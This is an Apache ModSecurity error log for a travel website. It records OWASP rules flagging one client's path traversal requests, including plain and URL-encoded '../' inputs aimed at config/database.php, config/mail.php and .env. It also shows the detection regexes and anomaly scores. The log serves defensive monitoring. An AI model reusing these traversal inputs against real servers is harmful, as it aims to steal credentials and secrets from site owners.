[Fri Jul 17 08:55:04.971532 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRwAAAAE"]
[Fri Jul 17 08:55:04.971650 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:config: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRwAAAAE"]
[Fri Jul 17 08:55:04.972920 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRwAAAAE"]
[Fri Jul 17 08:55:04.973136 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.973516 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zRwAAAAE"]
[Fri Jul 17 08:55:04.978594 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiwAAAAQ"]
[Fri Jul 17 08:55:04.978653 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiwAAAAQ"]
[Fri Jul 17 08:55:04.979868 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiwAAAAQ"]
[Fri Jul 17 08:55:04.980036 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.980383 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBiwAAAAQ"]
[Fri Jul 17 08:55:04.992163 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2Fconfig%2Fdatabase.php&ref=O0Z1adDOV9_iAuY_0FS8yuCYwsAwEZh5_qlQm8pTDpcsh9fG4uFvqGyIesCUi2u_V9jJvTN9PBNQyHEz_pLp4bYsTFXuBk8z-A_0NlDkx70yV38xqv7iwI977aUxvkUoJT3ne26lhihRwLZN-K2_BlAmAGUZI6orUNo5sX0K380Qyo_bVQEhorJM5c04zcfKTN3cSbuNvNuiFmNKAcTVhUhWSYvvwyJCOZC1-34eGlxze7Tn0VIFxsw0SxjXBzw_j2Ruaw83quvEzdIkK64fep9L&extra=UNSS3O5ITXROR3XTG34CZD3CCQSFYGVQI4FJZX444QEKKHFKE5IZPVQWPEVI37W5LYU7L4HHRWIFJAZKPSYLA6KLLMDEX5X4KACDPG5P6TQLNQM2JDXZJLHVVYVD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.993176 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.993308 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/database.php&ref=O0Z1adDOV9_iAuY_0FS8yuCYwsAwEZh5_qlQm8pTDpcsh9fG4uFvqGyIesCUi2u_V9jJvTN9PBNQyHEz_pLp4bYsTFXuBk8z-A_0NlDkx70yV38xqv7iwI977aUxvkUoJT3ne26lhihRwLZN-K2_BlAmAGUZI6orUNo5sX0K380Qyo_bVQEhorJM5c04zcfKTN3cSbuNvNuiFmNKAcTVhUhWSYvvwyJCOZC1-34eGlxze7Tn0VIFxsw0SxjXBzw_j2Ruaw83quvEzdIkK64fep9L&extra=UNSS3O5ITXROR3XTG34CZD3CCQSFYGVQI4FJZX444QEKKHFKE5IZPVQWPEVI37W5LYU7L4HHRWIFJAZKPSYLA6KLLMDEX5X4KACDPG5P6TQLNQM2JDXZJLHVVYVDSH6NYXA3UBRFNK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.994544 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2Fconfig%2Fmail.php&ts=YW49AhMNNZdLsLNLXzTU81K_2x4RKiq3OvI-Gn98rP8ojrIdReu2GP_wOl-oZMzjN8g6f3QLhy8L5bTgMGMcX5K_iqscwA9rzC5LpKFiUqZ4pAwCiRGCJZm7ol_qV20yn11woJv9TDscTBAdQw4S3D7xJRQ_BkcHu0xpaZl8E9LKgCIUm459IfYaYqo1teCuLEoDW-UHLwfEW2QD4vEjLzeeeyA_eHIu8AA5KbfbBv1Aw6GxbVitavTvUiT0lQtB_W6FQBy7Y6TxljErvyXZFj_f&sid=HYLPNEWY7HC5ILD4LJADLTCJ2P7HW3Y22R7WPOW4FXARSRXX6UZXLWXXCV2RWPXEUBOGVIUEQS4F7RVVST7GJOLUMRVYAD7Q6VHWTSOVXWIIBHYYVEN4F5IJX6H3UHAPCRI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.994585 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.994649 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/mail.php&ts=YW49AhMNNZdLsLNLXzTU81K_2x4RKiq3OvI-Gn98rP8ojrIdReu2GP_wOl-oZMzjN8g6f3QLhy8L5bTgMGMcX5K_iqscwA9rzC5LpKFiUqZ4pAwCiRGCJZm7ol_qV20yn11woJv9TDscTBAdQw4S3D7xJRQ_BkcHu0xpaZl8E9LKgCIUm459IfYaYqo1teCuLEoDW-UHLwfEW2QD4vEjLzeeeyA_eHIu8AA5KbfbBv1Aw6GxbVitavTvUiT0lQtB_W6FQBy7Y6TxljErvyXZFj_f&sid=HYLPNEWY7HC5ILD4LJADLTCJ2P7HW3Y22R7WPOW4FXARSRXX6UZXLWXXCV2RWPXEUBOGVIUEQS4F7RVVST7GJOLUMRVYAD7Q6VHWTSOVXWIIBHYYVEN4F5IJX6H3UHAPCRIA5WI6VTMN6PDRN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.994691 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/mail.php&ts=yw49ahmnnzdlslnlxztu81k_2x4rkiq3ovi-gn98rp8ojridreu2gp_wol-ozmzjn8g6f3qlhy8l5btgmgmcx5k_iqscwa9rzc5lpkfiuqz4pawcirgcjzm7ol_qv20yn11wojv9tdsctbadqw4s3d7xjrq_bkchu0xpazl8e9lkgcium459ifyayqo1teculeodw-uhlwfew2qd4vejlzeeeya_ehiu8aa5kbfbbv1aw6gxbvitavtvuit0lqtb_w6fqby7y6txljervyxzfj_f&sid=hylpnewy7hc5ild4ljadltcj2p7hw3y22r7wpow4fxarsrxx6uzxlwxxcv2rwpxeubogviueqs4f7rvvst7gjolumrvyad7q6vhwtsovxwiibhyyven4f5ijx6h3uhapcria5wi6vtmn6pdrn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.994714 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.994743 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.995318 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/database.php&ref=o0z1addov9_iauy_0fs8yucywsawezh5_qlqm8ptdpcsh9fg4ufvqgyiescui2u_v9jjvtn9pbnqyhez_plp4bystfxubk8z-a_0nldkx70yv38xqv7iwi977auxvkuojt3ne26lhihrwlzn-k2_blamaguzi6oruno5sx0k380qyo_bvqehorjm5c04zcfktn3csbunvnuifmnkactvhuhwsyvvwyjcozc1-34eglxze7tn0vifxsw0sxjxbzw_j2ruaw83quvezdikk64fep9l&extra=unss3o5itxror3xtg34czd3ccqsfygvqi4fjzx444qekkhfke5izpvqwpevi37w5lyu7l4hhrwifjazkpsyla6kllmdex5x4kacdpg5p6tqlnqm2jdxzjlhvvyvdsh6nyxa3ubrfnk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.995374 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.995432 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.995526 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:config: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.995962 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.996125 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.996513 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBjAAAAAQ"]
[Fri Jul 17 08:55:04.998803 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:04.998981 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.999359 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkFCBpfuYyhJ140vSWwAAAB4"]
[Fri Jul 17 08:55:05.018197 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSAAAAAE"]
[Fri Jul 17 08:55:05.018277 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSAAAAAE"]
